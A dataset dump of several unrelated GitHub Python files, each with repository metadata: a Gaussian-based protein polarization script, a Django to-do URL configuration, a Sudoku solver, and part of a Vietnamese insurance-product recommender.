meekin=simples[t:t+2]\n bondpairs.append(meekin)\n temp.close()\n return bondpairs\n\ndef read_psf_get_bonds():\n df2 = pd.read_csv('test.now', sep='\\s+',header=None)\n df2.columns = ['atno', 'seg', 'resno', 'res', 'atyp', 'atyp1', 'deltaq', 'mass', 'restrain']\n team=[]\n for r in df2['atno']:#could be df1 too!\n point1 = df.loc[df[0]==str(r)]\n point2 = df.loc[df[1]==str(r)]\n first = point1[1].values\n second = point2[0].values\n bonds = np.concatenate((first, second), axis=0)\n check=bonds.tolist()\n print(check)\n team.append(bonds)\n bondlength=[]\n for x in team:\n bondlength.append((len(x)))\n return team, bondlength, df2\n\ndef psf_pdb_match(df1):\n dfmain = pd.concat([df1['atno'],df2['atno'],df1['atyp'],df2['atyp']], axis=1, keys=['atno','atno1','atyp','atyp1'])\n q=0\n for r in range(len(dfmain)):\n if dfmain['atno'].values[r]==dfmain['atno1'].values[r]:\n if dfmain['atyp'].values[r]==dfmain['atyp1'].values[r]:\n q+=1\n if q==len(dfmain):\n print('psf and pdb index match: OK!')\n else:\n print('psf and pdb index match: FAIL!')\n return dfmain\n\ndef run_gaussian_for_field(dflig, dfbin, nproc, method, lig, car):\n QMS0 = open(\"QMS0.com\",'w')\n QMS0.write('%%Chk=QMS.chk\\n%%Nproc=%s\\n#P %s nosymm\\n\\n%s izol\\n\\n' % (nproc, method, lig))\n QMS0.close()\n QMS = open(\"QMS\",'w')\n QMS.write('%0.f 1\\n' % car)\n for index, row in dflig.iterrows():\n QMS.write(('%-2s %14.6f%14.6f%14.6f\\n') %\n (row['ele'],row['X'],row['Y'],row['Z']))\n QMS.write('\\n')\n QMS.close()\n subprocess.Popen(\"cat QMS >>QMS0.com\", shell=True).communicate()\n subprocess.Popen(\"G16 QMS0.com\", shell=True).communicate()\n subprocess.Popen(\"cp QMS.chk QMS0.chk\", shell=True).communicate()\n QMScom = open(\"QMS.com\",'w')\n QMScom.write('%%Chk=QMS.chk\\n%%Nproc=%s\\n#P %s nosymm guess=read prop=read charge\\n\\n%s perm_chg\\n\\n'\n % (nproc, method, lig))\n QMScom.close()\n subprocess.Popen(\"cat QMS >>QMS.com\", shell=True).communicate()\n QMScom = open(\"QMS.com\",'a')\n for index, row in dfbin.iterrows():\n QMScom.write(('%.6f %.6f %.6f %.5f\\n') %\n (row['X'],row['Y'],row['Z'],row['chg']))\n QMScom.write('\\n')\n for index, row in dfbin.iterrows():\n QMScom.write(('%.6f %.6f %.6f\\n') %\n (row['X'],row['Y'],row['Z']))\n QMScom.write('\\n')\n QMScom.close()\n print ('%s atoms saved of %s atoms' % (len(dfbin1),len(dfbin)))\n subprocess.Popen(\"G16 QMS.com\", shell=True).communicate()\n\n\ndef readESP_G(field, nudge):\n c = 0; d = 0\n mead = open(field, 'w')\n with open(nudge, 'r') as f:\n for line in f:\n if re.search(\"Potential\", line):\n c += 1\n if re.search(\"Gradient\", line):\n c = 0\n if c > 0:\n if not re.search('----|Potential|Gradient|Atom', line):\n d += 1\n mead.write(line)\n mead.close()\n return d\n\ndef polasignMMmae_def(dfbin):\n alpha = []\n polka = []\n emap = set()\n for r in range(len(dfbin)):\n emap.add(dfbin['ele'][r])\n polka.append(0)\n if dfbin['ele'][r] == 'H':\n alpha.append(0.387)\n if dfbin['ele'][r] == 'S':\n alpha.append(3.000)\n if dfbin['ele'][r] == 'O':\n if dfbin['bondno'].values[r] == 1:\n alpha.append(0.569)\n else:\n alpha.append(0.637)\n if dfbin['ele'][r] == 'C':\n if dfbin['bondno'].values[r] == 4:\n alpha.append(1.061)\n if dfbin['bondno'].values[r] == 3:\n if dfbin['res'][r] == 'ARG':\n if dfbin['atyp'][r] == 'CZ':\n alpha.append(1.896)\n else:\n alpha.append(1.352)\n else:\n alpha.append(1.352)\n if dfbin['ele'][r] == 'N':\n if dfbin['res'][r] == 'LYS':\n if dfbin['atyp'][r] == 'NZ':\n alpha.append(0.964)\n else:\n alpha.append(1.090)\n else:\n if dfbin['res'][r].startswith('H'):\n if dfbin['res'][r] == 'HSP':\n alpha.append(1.090)\n if dfbin['res'][r] == 'HSE':\n if dfbin['atyp'][r] == 'ND1':\n alpha.append(1.030)\n else:\n alpha.append(1.090)\n if dfbin['res'][r] == 'HSD':\n if dfbin['atyp'][r] == 'NE2':\n alpha.append(1.030)\n else:\n alpha.append(1.090)\n else:\n alpha.append(1.090)\n return alpha, polka\n\ndef enex():\n with open(\"ene2\", 'r') as f:\n for line in f:\n enex = re.match('^\\s*([-+]?\\d+\\.\\d+)$', line)\n enep = float(enex.group(0))\n return enep\n\ndef cycle(nproc, method, lig, num):\n subprocess.Popen(\"cp atoms2 atomsP%s\" % num, shell=True).communicate()\n subprocess.Popen(\"cp com comP%s\" % num, shell=True).communicate()\n subprocess.Popen(\"cp centr centrP%s\" % num, shell=True).communicate()\n QMSP0com = open(\"QMSP%s.com\" % num, 'w')\n QMSP0com.write('%%Chk=QMSP.chk\\n%%Nproc=%s\\n#P %s nosymm guess=read prop=read charge\\n\\n%s polar_chg %s\\n\\n'\n % (nproc, method, lig, num))\n QMSP0com.close()\n subprocess.Popen(\"cat QMS >>QMSP%s.com\" % num, shell=True).communicate()\n subprocess.Popen(\"cat comP%s >>QMSP%s.com\" % (num, num), shell=True).communicate()\n subprocess.Popen(\"cp QMS0.chk QMSP.chk\", shell=True).communicate()\n subprocess.Popen(\"G16 QMSP%s.com\" % num, shell=True).communicate()\n\ndef converge(enep, nproc, method, lig):\n bstd = 1;\n num = 1\n while (bstd > convergence):\n numa = str(num - 1)\n nudge = (\"QMSP%s.com.log\" % numa)\n field = (\"field%s\" % num)\n FCS = (\"FCS%s\" % num)\n fiel = readESP_G(field, nudge)\n # output = subprocess.Popen('wc -l centrP%s' % numa, shell =True, stdout=subprocess.PIPE).communicate()[0]\n # ccc = int(output.split(' ')[0])\n # if fiel == ccc:\n # print (\"YES4\"):\n subprocess.Popen(\"paste -d ' ' %s centrP%s >%s\" % (field, numa, FCS), shell=True).communicate()\n subprocess.Popen(\"./calc_indpolF %s\" % FCS, shell=True).communicate()\n subprocess.Popen(\"cp ene2 ene2P%s\" % num, shell=True).communicate()\n ene = enex()\n cycle(nproc, method, lig, num)\n bstd = abs(ene - enep) / ene\n print(\"Energy %s\\n\" % ene)\n print(\"Difference %s\\n\" % bstd)\n enep = ene\n num += 1\n\ndef get_charges():\n bit = ['QMS', 'QMSP']\n child_processes = []\n for i in range(len(bit)):\n subprocess.Popen(\"formchk %s.chk\" % bit[i], shell=True).communicate()\n GDATA = open(\"DATA%s.GDMA\" % i, 'w')\n GDATA.write(\n 'Title \"Formamide Gaussian 03 B3LYP_cc-pVTZ\"\\nverbose\\nFile %s.fchk\\n\\nAngstrom\\n\\n'\n 'Multipoles\\n Limit 4\\n Limit 1 H\\n Punch %s.punch\\nStart\\n\\nFinish\\n' % (bit[i], bit[i]))\n GDATA.close()\n MDATA = open(\"DATA%s.MULFIT\" % i, 'w')\n MDATA.write(\n 'Title\\nPokus\\n\\nVerbose 3\\n\\nDMA %s.punch\\nTotal rank 4\\n\\n'\n 'Ranks\\nC 0\\nN 0\\nO 0\\nH 0\\n\\n' % bit[i])\n MDATA.close()\n for i in range(len(bit)):\n p = subprocess.Popen(\"gdma %s.out\" % (i, bit[i]), shell=True).communicate()\n subprocess.Popen(\"grep Q00 %s.out | cut -c 28- >%s.chg\" % (bit[i], bit[i]), shell=True).communicate()\n\ndef cli_interface():\n parser = argparse.ArgumentParser(description='Run som.py comparison on two folders with same filenames')\n parser.add_argument('--lig', dest='ligand', type=str, help='ligand (currently 1)', required=True)\n parser.add_argument('--nproc', dest='cpuno', type=str, help='no processors for gaussian', required=False)\n parser.add_argument('--method', dest='cpuno', type=str, help='QM method and basis set', required=False)\n parser.add_argument('--convergence', dest='cpuno', type=str, help='convergence of polarization', required=False)\n args = parser.parse_args()\n return args\n\n#########################################main so far########needs extract to NEUTRAL_fis####################\n#def main():\n #args = cli_interface()\n #truedir = args.truth_dir\n #querydir = args.query_dir\nlig=str('NEC')\nnproc=str('4')\nmethod=str('B3LYP 6-31G*')\nconvergence=0.001\nos.chdir(\"/home/kevin/NEWT3\")\nCEM = Molecule('NEUTRAL_fis.pdb')\nCEM.read('NEUTRAL_fis.psf')\nCEM.filter('protein or resname NEC')\nCEM.write('fis.pdb')\nCEM.write('fis.psf')\npdb_filter()\n#df1 = pd.read_csv('fis1.pdb', sep='\\s+',header=None)\n#df1.columns = ['atom', 'atno', 'atyp', 'res', 'chain', 'resno', 'X', 'Y', 'Z', 'A', 'B', 'seg', 'ele']\ndf1=correctpdb()#probably unecessary and introduces problems\ndf1 = formatdf(df1)#well could do\n###LAME FIX######lame fix!!!\nfor i in range(len(df1)):\n if df1['ele'].values[i]=='HO':\n print (df1['ele'][i])\n df1['ele'].values[i]=re.sub('HO','H',df1['ele'].values[i])\n###LAME FIX#######\n#df1 = pd.read_csv('fis1.pdb', sep='\\s+',header=None)\n#df1.columns = ['atom', 'atno', 'atyp', 'res', 'chain', 'resno', 'X', 'Y', 'Z', 'A', 'B', 'seg', 'ele']\nbondpairs = filter_psf_return_bonds()\ndf = pd.DataFrame(bondpairs)\nteam, bondlength, df2 = read_psf_get_bonds()\ndf3 = pd.DataFrame(team)\ndfle = pd.DataFrame({'bondno':bondlength})\ndfwoo=df3.loc[df1.index[df1['res']!=lig]]\ndflen=dfle.loc[df1.index[df1['res']!=lig]]\ndfwoo.to_csv('bonds',sep=' ',index=False,header=False)\nblend=len(dfwoo)\ndfmain=psf_pdb_match(df1)\ndfbin1 = pd.concat([df1['atno'],df1['atyp'],df1['X'],df1['Y'],df1['Z'],df2['deltaq'],df2['res'],\n df1['ele'],dflen['bondno']], axis=1, keys=['atno','atyp','X','Y','Z','chg','res','ele','bondno'])\ndfbin=dfbin1.loc[dfbin1['res']!=lig]\ndflig=dfbin1.loc[dfbin1['res']==lig]\ncar=(dflig['chg'].sum())\nrun_gaussian_for_field(dflig, dfbin, nproc, method, lig, car)\nfield=str('field0')\nnudge=str('QMS.com.log')\nd=readESP_G(field, nudge)\nalpha, polka = polasignMMmae_def(dfbin)\ndfalpha = pd.DataFrame({'alpha': alpha})\ndfpolka = pd.DataFrame({'polka': polka})\ndffin = pd.concat([dfbin['atno'],dfbin['atyp'],dfbin['X'],dfbin['Y'],dfbin['Z'],dfbin['chg'],dfalpha['alpha'],\n dfpolka['polka']], axis=1, keys =['atno','atyp','X','Y','Z','chg','alpha','pol'])\nf_out= open(\"newt\",'w')\nfor index, row in dffin.iterrows():\n f_out.write(('%5d %-4s%13.6f%13.6f%13.6f %8.5f %6.3f %8.5f'+'\\n') %\n (row['atno'],row['atyp'],row['X'],row['Y'],row['Z'],row['chg'],row['alpha'],row['pol']))\nf_out.close()\nif blend==len(dffin):\n print('YES2')\n#return len(dffin)\n################################################################\nalpha, polka = polasignMMmae_def(dfbin)\nsup = len(dffin)#or def\n################################################################\nsubprocess.Popen(\"paste -d ' ' newt bonds >XYZS\", shell=True).communicate()\nif d==sup: #have to make len(dffin) output\n print('YES3')\nsubprocess.Popen(\"paste -d ' ' field0 XYZS >FCS\", shell=True).communicate()\nsubprocess.Popen(\"./calc_indpolF FCS\", shell=True).communicate()\nsubprocess.Popen(\"cp ene2 ene2P0\", shell=True).communicate()\nenep = enex()\nprint (\"Energy %s\\n\" % enep)\nnum=0\ncycle(nproc,method,lig,num)\nconverge(enep, nproc, method, lig)\nget_charges()\n\n\n\n\n############################################################\na = 0; b = 0\ntemp = open(\"NEUTRAL_fis1.psf\", 'w')\nbondpairs = [];\nwith open(\"NEUTRAL_fis.psf\", 'r') as f:\n for line in f:\n if not re.match(r'^\\s*$', line):\n if re.search(\"!NATOM\", line):\n a += 1\n if re.search(\"!NBOND: bonds\", line):\n a = 0\n if a > 0:\n if 'NATOM' not in line:\n temp.write(line)\ntemp.close()\ndf4 = pd.read_csv('NEUTRAL_fis1.psf', sep='\\s+',header=None)\ndf4.columns = ['atno', 'seg', 'resno', 'res', 'atyp', 'atyp1', 'deltaq', 'mass', 'restrain']\n\ndf5=df4.loc[df2.index]\ndfmain=psf_pdb_match(df5)\n###################################################################################\ndirectory = \".\"\nnames=[]\nfor file in os.listdir(directory):\n if file.startswith('atomsP'):\n fil=int(re.sub('atomsP','',file))\n names.append(fil)\nlast = sorted(names)[-1]\nfile = 'atomsP' + str(last)\n###################################################################################\ndfaddlig=df5.loc[df1.index[df1['res']==lig]]\ndfaddprot=df5.loc[df1.index[df1['res']!=lig]]\n\npoladjust = pd.read_csv(file, sep='\\s+',header=None)\npoladjust.columns = ['adjust']\nligreplace = pd.read_csv('QMSP.chg', sep='\\s+',header=None)\nligreplace.columns = ['QMdeltaq']\n\n#car=(dflig['chg'].sum())\nQMformal=ligreplace['QMdeltaq'].sum()\n\nQMform = int('%0.f' % QMformal)\ncarform = int('%0.f' % car)\n\nif QMform == carform:\n print ('YES5')\n\nif len(dfaddlig) == len(ligreplace):\n for i in range(len(dfaddlig)):\n dfaddlig['deltaq'].values[i]=ligreplace ['QMdeltaq'].values[i]\n\nif len(dfaddprot) == len(poladjust):\n for i in range(len(dfaddprot)):\n polchg=dfaddprot['deltaq'].values[i]+poladjust['adjust'].values[i]\n polcharge = float('%1.6f' % polchg)\n dfaddprot['deltaq'].values[i] = polcharge\n\nligind = dfaddlig['atno'].values[len(dfaddlig)-1]\nprotind = dfaddprot['atno'].values[len(dfaddprot)-1]\nif protind < ligind:\n result = pd.concat([dfaddprot,dfaddlig])\nelse:\n result = pd.concat([dfaddlig,dfaddprot])\n#result = pd.concat([dfaddprot,dfaddlig])\n\n\n\n#####################################################################################\na = 0; b = 0; c=0\ntemp = open(\"NEUTRAL_fist.psf\", 'w')\nbondpairs = [];\nwith open(\"NEUTRAL_fis.psf\", 'r') as f:\n for line in f:\n if not re.match(r'^\\s*$', line):\n if re.search(\"!NATOM\", line):\n a += 1\n if re.search(\"!NBOND: bonds\", line):\n a = 0\n if a > 0:\n if 'NATOM' not in line:\n dimples=re.split(\"\\s+\",line)\n if int(dimples[1])<=len(result):\n index=int(dimples[1])-1\n spine=re.sub(dimples[7],str('%1.6f' % result['deltaq'].values[index]),line)\n if dimples[7] == str('%1.6f' % result['deltaq'].values[index]):\n c+=1\n print (dimples[7])\n if len(line)==len(spine):\n b+=1\n line=spine\n else:\n if len(line)>len(spine):\n b+=1\n line=re.sub(str(' %1.6f' % result['deltaq'].values[index]),str(' %1.6f' % result['deltaq'].values[index]), spine)\n else:\n b+=1\n line=re.sub(str(' %1.6f' % result['deltaq'].values[index]),str('%1.6f' % result['deltaq'].values[index]), spine)\n temp.write(line)\ntemp.close()\n####################################check bit##########################################\nsubprocess.Popen(\"cp NEUTRAL_fis.psf NEUTRAL_fis.psf.old\", shell=True).communicate()\nsubprocess.Popen(\"cp NEUTRAL_fist.psf NEUTRAL_fis.psf\", shell=True).communicate()\n#b=total line no 4806\n#c=same lines 32\n#diff lines = from go below 4774\n#4774+32=4806\n#diff NEUTRAL_fist.psf NEUTRAL_fis.psf >lines\n#grep lines '< ' >go\n#wc -l go\n\n\n######################################################################################\n####done not tidied\n####################################################################################\n#ln src/gdma bin\n\n#/opt/pgi-6.1/linux86-64/6.1/libso\n\n#population Anaylsis ...\n#Electrostatic-potential derived charges: Pop=Chelp, ChelpG or MK\n#ChelpG = Charges from electrostatic potential (Grid Based)\n#MK = Mulliken\n#P B3LYP 6-31G* POP=CHELPG nosymm guess=read prop=read charge\n#####################################################################################\n","repo_name":"kevs-code/python_parsing_wes","sub_path":"polarMG_def_py3_revised.py","file_name":"polarMG_def_py3_revised.py","file_ext":"py","file_size_in_byte":19507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"382608299","text":"from .views import index , todo_list , todo_details,todo_update, todo_delete, todo_details\nfrom django.urls import path\napp_name = 'ToDo'\nurlpatterns = [\n path('', index, name='todo-index'),\n path('list/', todo_list, name='todo-list'),\n path('details//', todo_details, name='todo-details'),\n path('task//update', todo_update, name='todo-update'),\n path('task//view', todo_details, name='todo-detail'),\n path('task//delete', todo_delete, name='todo-delete')\n]","repo_name":"momen-awad/Django-Movies-website","sub_path":"ToDo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17756021841","text":"from Sudoku import ReturnSudoku\nimport numpy as np\nimport warnings\n\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n\n# Check if n in row\n# Returns true if number is not present\ndef check_row(n,i,sudoku):\n if n in sudoku[i]:\n return False\n return True\n\n\n# Check if n in column\n# Returns true if number is not present\ndef check_column(n,j,sudoku):\n if n in [row[j] for row in sudoku]:\n return False\n return True\n\n# Check if n in quadrant\n# Returns true if number is not present\ndef check_quadrant(n,i,j,sudoku):\n i_rest = i-(i % 3)\n j_rest = j-(j % 3)\n if n in sudoku[i_rest:i_rest+3,j_rest:j_rest+3]:\n return False\n return True\n\n\n# Returns true if number can be placed\ndef check_valid(n,i,j,sudoku):\n if check_column(n,j,sudoku):\n if check_row(n,i,sudoku):\n if check_quadrant(n,i,j,sudoku):\n return True\n return False\n\n# Checks where the next empty slot is\ndef find_empty(sudoku):\n for i in range(len(sudoku)):\n for j in range(len(sudoku[0])):\n if sudoku[i][j] == 0:\n return (i,j)\n return False\n\n\n# Solve sudoku with depth-first search\n# Return True if sudoku is solved\ndef solve_sudoku(sudoku):\n next_empty = find_empty(sudoku)\n if not next_empty:\n return True\n row,col = next_empty\n\n for n in range(1,10):\n if check_valid(n,row,col,sudoku):\n sudoku[row][col] = n\n\n if solve_sudoku(sudoku):\n return True\n\n sudoku[row][col] = 0\n return None\n\n# Function to print the sudoku\ndef print_sudoku(solved):\n for row in solved:\n print(row)\n\n# Validates if the sudoku has indeed been solved\ndef validate(sudoku):\n sorted_list = np.arange(1,10)\n for i in range(len(sudoku)):\n for j in range(len(sudoku[0])):\n if not np.array_equal(np.sort(sudoku[i]),sorted_list):\n return False\n if not np.array_equal(np.sort([row[j] for row in sudoku]),sorted_list):\n return False\n i_rest = i-(i % 3)\n j_rest = j-(j % 3)\n if not np.array_equal(np.sort(sudoku[i_rest:i_rest+3,j_rest:j_rest+3].ravel()),sorted_list):\n return False\n return True\n\ndef main():\n sudoku = ReturnSudoku()\n solve_sudoku(sudoku)\n if sudoku is not None:\n if validate(sudoku):\n print_sudoku(sudoku)\n return 0\n else:\n print('Did not find a solution')\n return 1\n print('Not a valid sudoku!')\n return 1\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jorisdh-zz/sudoku_solver","sub_path":"SudokuSolver.py","file_name":"SudokuSolver.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27002418026","text":"bien1 = 1 #'DUOI50TRIEU'\r\nbien2 = 2 #'TU50DEN100TRIEU'\r\nbien3 = 3 #'TU100DEN200TRIEU'\r\nbien4 = 4 #'TU200DEN300TRIEU'\r\nbien5 = 5 #'TU300DEN400TRIEU'\r\nbien6 = 6 #'TU400DEN500TRIEU'\r\nbien7 = 7 #'TU500DEN1TY'\r\nbien8 = 8 #'TU1TYDEN2TY'\r\nbien9 = 9 #'TU2TYDEN5TY'\r\nbien10 = 10 #'TREN5TY'\r\n\r\nkq1 = {}\r\n\r\nkq1['ketqua1'] = 0\r\nkq1['ketqua2'] = 0\r\n\r\nmucdich1 = 1 #'BAOVECHOCON'\r\nmucdich2 = 2 #'BAOVEDUONGGIA'\r\nmucdich3 = 3 #'BAOVEDAUTU'\r\nmucdich4 = 4 #'BAOVETICHLUY'\r\nmucdich5 = 5 #'BAOVETAISANKHIMAT'\r\nmucdich6 = 6 #'BAOVEBENHHIEMNGHEO'\r\nmucdich7 = 7 #'BAOVEUNGTHU'\r\nmucdich8 = 8 #'BAOVESUCKHOEHANGNAM'\r\nmucdich9 = 9 #'BAOVETAINANCANHAN'\r\nmucdich10 = 10 #'BAOVETROCAPNAMVIEN'\r\n\r\nkq2 = {}\r\n\r\nkq2['ketqua1'] = \"\"\r\nkq2['ketqua2'] = \"\"\r\n\r\nspchinh1 = 'TUKY'\r\nspchinh2 = 'DAUTU'\r\nspchinh3 = 'TICHLUY'\r\nspchinh4 = 'GIAODUC'\r\nspchinh5 = 'HUUTRI'\r\n\r\nspphu1 = 'BAOHIEMSUCKHOECANHAN'\r\nspphu2 = 'BAOHIEMTAINANCANHAN'\r\nspphu3 = 'BAOHIEMTROCAPYTE'\r\nspphu4 = 'BAOHIEMBENHHIEMNGHEO'\r\nspphu5 = 'BAOHIEMUNGTHU'\r\n\r\nbhxh1 = 1 #CO'\r\nbhxh2 = 2 #KHONG'\r\n\r\nbhyt1 = 1 #CO'\r\nbhyt2 = 2 #KHONG'\r\n\r\nhonnhan1 = 1 # 'DOCTHAN'\r\nhonnhan2 = 2 # 'DINHHON'\r\nhonnhan3 = 3 # 'COGIADINHCHUACOCON'\r\nhonnhan4 = 4 # 'COGIADINHCOMOTCON'\r\nhonnhan5 = 5 # 'COGIADINHCO2CON'\r\nhonnhan6 = 6 # 'COGIADINHCONHIEUHON2CON'\r\nhonnhan7 = 7 # 'LYHON'\r\nhonnhan8 = 8 # 'LYHONNUOI1CON'\r\nhonnhan9 = 9 # 'LYHONNUOI2CON'\r\nhonnhan10 =10 # 'LYHONNUOINHIEUHON2CON'\r\nhonnhan11 = 11 # 'GOAVOCHONG'\r\nhonnhan12 = 12 # 'GOAVOCHONGNUOI1CON'\r\nhonnhan13 = 13 # 'GOAVOCHONGNUOI2CON'\r\nhonnhan14 = 14 # 'GOAVOCHONGNUOINHIEUHON2CON'\r\n\r\ngioitinh1 = 1 # 'NAM'\r\ngioitinh2 = 2 #'NU'\r\n\r\ntypejob1 = 1 # 'NHANVIEN'\r\ntypejob2 = 2 # 'LAMCHU'\r\n\r\nkq3 = {}\r\n\r\nkq3['ketqua1'] = 0\r\nkq3['ketqua2'] = 0\r\n\r\n# sản phẩm đầu tư\r\nquantam1=1 #LAICAONHAT\r\nquantam2=2 #LOTHAPNHAT\r\nquantam3=3 #CANBANGCA2\r\n\r\nkqquantam = 0\r\n\r\ncohoi1 = 1 #Nhận ngay 20 triệu\r\ncohoi2 = 2 #Có 50 % cơ hội nhận được 100 triệu\r\ncohoi3 = 3 #Có 25% cơ hội nhận được 200 triệu\r\ncohoi4 = 4 #Có 5% cơ hội nhận được 2 tỷ\r\n\r\nkqcohoi = 0\r\n\r\nruiro1 = 1 #Sẽ lỗ\r\nruiro2 = 2 #Không chắc chắn\r\nruiro3 = 3 #Cơ hội\r\nruiro4 = 4 #Lo lắng\r\n\r\nkqruiro = 0\r\n\r\ndautu1 = 1 #Vẫn gửi ngân hàng\r\ndautu2 = 2 #1 nửa gửi ngân hàng, 1 nửa mua vàng\r\ndautu3 = 3 #Mua toàn bộ vàng\r\ndautu4 = 4 #Mua toàn bộ và vay thêm để mua vàng\r\n\r\nkqdautu = 0\r\n\r\nphantramtaisanruiro1 = 1 #100% Quỹ đầu tư gồm các tài sản ít rủi ro\r\nphantramtaisanruiro2 = 2 #Quỹ đầu tư gồm 60% các tài sản ít rủi ro, 30% rủi ro trung bình, 10% rủi ro cao\r\nphantramtaisanruiro3 = 3 #Quỹ đầu tư gồm 30% các tài sản ít rủi ro, 40% rủi ro trung bình, 30% rủi ro cao\r\nphantramtaisanruiro4 = 4 #Quỹ đầu tư gồm 10% các tài sản ít rủi ro, 40% rủi ro trung bình, 50% rủi ro cao\r\n\r\nkqtaisanruiro = 0\r\n\r\n\r\n\r\ndef get_premium(income):\r\n if income == bien1:\r\n kq1['ketqua1'] = 1\r\n kq1['ketqua2'] = 5\r\n elif income == bien2:\r\n kq1['ketqua1'] = 3\r\n kq1['ketqua2'] = 8\r\n elif income == bien3:\r\n kq1['ketqua1'] = 4\r\n kq1['ketqua2'] = 10\r\n elif income == bien4:\r\n kq1['ketqua1'] = 6\r\n kq1['ketqua2'] = 12\r\n elif income == bien5:\r\n kq1['ketqua1'] = 10\r\n kq1['ketqua2'] = 15\r\n elif income == bien6:\r\n kq1['ketqua1'] = 12\r\n kq1['ketqua2'] = 18\r\n elif income == bien7:\r\n kq1['ketqua1'] = 15\r\n kq1['ketqua2'] = 25\r\n elif income == bien8:\r\n kq1['ketqua1'] = 20\r\n kq1['ketqua2'] = 30\r\n elif income == bien9:\r\n kq1['ketqua1'] = 25\r\n kq1['ketqua2'] = 30\r\n elif income == bien10:\r\n kq1['ketqua1'] = 30\r\n kq1['ketqua2'] = 60\r\n return kq1\r\n\r\ndef get_product(sex, age, social_insurance, medical_insurance, income, purpose, marital_status, job_type):\r\n if purpose == mucdich1:\r\n kq2['ketqua1'] = spchinh4\r\n if medical_insurance == bhyt2:\r\n kq2['ketqua2'] = spphu1\r\n else: \r\n kq2['ketqua2'] = spphu4\r\n elif purpose == mucdich2:\r\n kq2['ketqua1'] = spchinh5\r\n if medical_insurance == bhyt2:\r\n kq2['ketqua2'] = spphu1\r\n elif age == gioitinh1 and age <= 45:\r\n kq2['ketqua2'] = spphu4\r\n elif age == gioitinh2 and age <= 40:\r\n kq2['ketqua2'] = spphu4\r\n else: \r\n kq2['ketqua2'] = spphu5\r\n elif purpose == mucdich3:\r\n kq2['ketqua1'] = spchinh2\r\n if medical_insurance == bhyt2:\r\n kq2['ketqua2'] = spphu1\r\n else: \r\n kq2['ketqua2'] = spphu5\r\n elif purpose == mucdich4:\r\n kq2['ketqua1'] = spchinh3\r\n if medical_insurance == bhyt2:\r\n kq2['ketqua2'] = spphu1\r\n elif age == gioitinh1 and age <= 45:\r\n kq2['ketqua2'] = spphu4\r\n elif age == gioitinh2 and age <= 40:\r\n kq2['ketqua2'] = spphu4\r\n else: \r\n kq2['ketqua2'] = spphu5\r\n elif purpose == mucdich5:\r\n kq2['ketqua1'] = spchinh1\r\n if medical_insurance == bhyt2:\r\n kq2['ketqua2'] = spphu1\r\n else:\r\n kq2['ketqua2'] = spphu5\r\n elif purpose == mucdich6:\r\n kq2['ketqua2'] = spphu4\r\n if marital_status == honnhan4 or marital_status == honnhan5 or marital_status == honnhan6 or marital_status == honnhan8 or marital_status == honnhan9 or marital_status == honnhan10 or marital_status == honnhan12 or marital_status == honnhan13 or marital_status == honnhan14 and age <= 35:\r\n kq2['ketqua1'] = spchinh4\r\n elif income == bien1:\r\n kq2['ketqua1'] = spchinh1\r\n elif job_type == typejob2 and age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n elif age <= 35:\r\n kq2['ketqua1'] = spchinh3\r\n elif 35 < age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n else: \r\n kq2['ketqua1'] = spchinh5\r\n elif purpose == mucdich7:\r\n kq2['ketqua2'] = spphu5\r\n if marital_status == honnhan4 or marital_status == honnhan5 or marital_status == honnhan6 or marital_status == honnhan8 or marital_status == honnhan9 or marital_status == honnhan10 or marital_status == honnhan12 or marital_status == honnhan13 or marital_status == honnhan14 and age <= 35:\r\n kq2['ketqua1'] = spchinh4\r\n elif income == bien1:\r\n kq2['ketqua1'] = spchinh1\r\n elif job_type == typejob2 and age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n elif age <= 35:\r\n kq2['ketqua1'] = spchinh3\r\n elif 35 < age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n else: \r\n kq2['ketqua1'] = spchinh5\r\n elif purpose == mucdich8:\r\n kq2['ketqua2'] = spphu1\r\n if marital_status == honnhan4 or marital_status == honnhan5 or marital_status == honnhan6 or marital_status == honnhan8 or marital_status == honnhan9 or marital_status == honnhan10 or marital_status == honnhan12 or marital_status == honnhan13 or marital_status == honnhan14 and age <= 35:\r\n kq2['ketqua1'] = spchinh4\r\n elif income == bien1:\r\n kq2['ketqua1'] = spchinh1\r\n elif job_type == typejob2 and age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n elif age <= 35:\r\n kq2['ketqua1'] = spchinh3\r\n elif 35 < age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n else: \r\n kq2['ketqua1'] = spchinh5\r\n elif purpose == mucdich9:\r\n kq2['ketqua2'] = spphu2\r\n if marital_status == honnhan4 or marital_status == honnhan5 or marital_status == honnhan6 or marital_status == honnhan8 or marital_status == honnhan9 or marital_status == honnhan10 or marital_status == honnhan12 or marital_status == honnhan13 or marital_status == honnhan14 and age <= 35:\r\n kq2['ketqua1'] = spchinh4\r\n elif income == bien1:\r\n kq2['ketqua1'] = spchinh1\r\n elif job_type == typejob2 and age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n elif age <= 35:\r\n kq2['ketqua1'] = spchinh3\r\n elif 35 < age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n else:\r\n kq2['ketqua1'] = spchinh5\r\n elif purpose == mucdich10:\r\n kq2['ketqua2'] = spphu3\r\n if marital_status == honnhan4 or marital_status == honnhan5 or marital_status == honnhan6 or marital_status == honnhan8 or marital_status == honnhan9 or marital_status == honnhan10 or marital_status == honnhan12 or marital_status == honnhan13 or marital_status == honnhan14 and age <= 35:\r\n kq2['ketqua1'] = spchinh4\r\n elif income == bien1:\r\n kq2['ketqua1'] = spchinh1\r\n elif job_type == typejob2 and age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n elif age <= 35:\r\n kq2['ketqua1'] = spchinh3\r\n elif 35 < age <= 45:\r\n kq2['ketqua1'] = spchinh2\r\n else:\r\n kq2['ketqua1'] = spchinh5\r\n return kq2\r\n\r\ndef get_time(sex,age,kq2,age_baby):\r\n if kq2['ketqua1'] == spchinh1 and age <= 30:\r\n kq3['ketqua1'] = 30\r\n 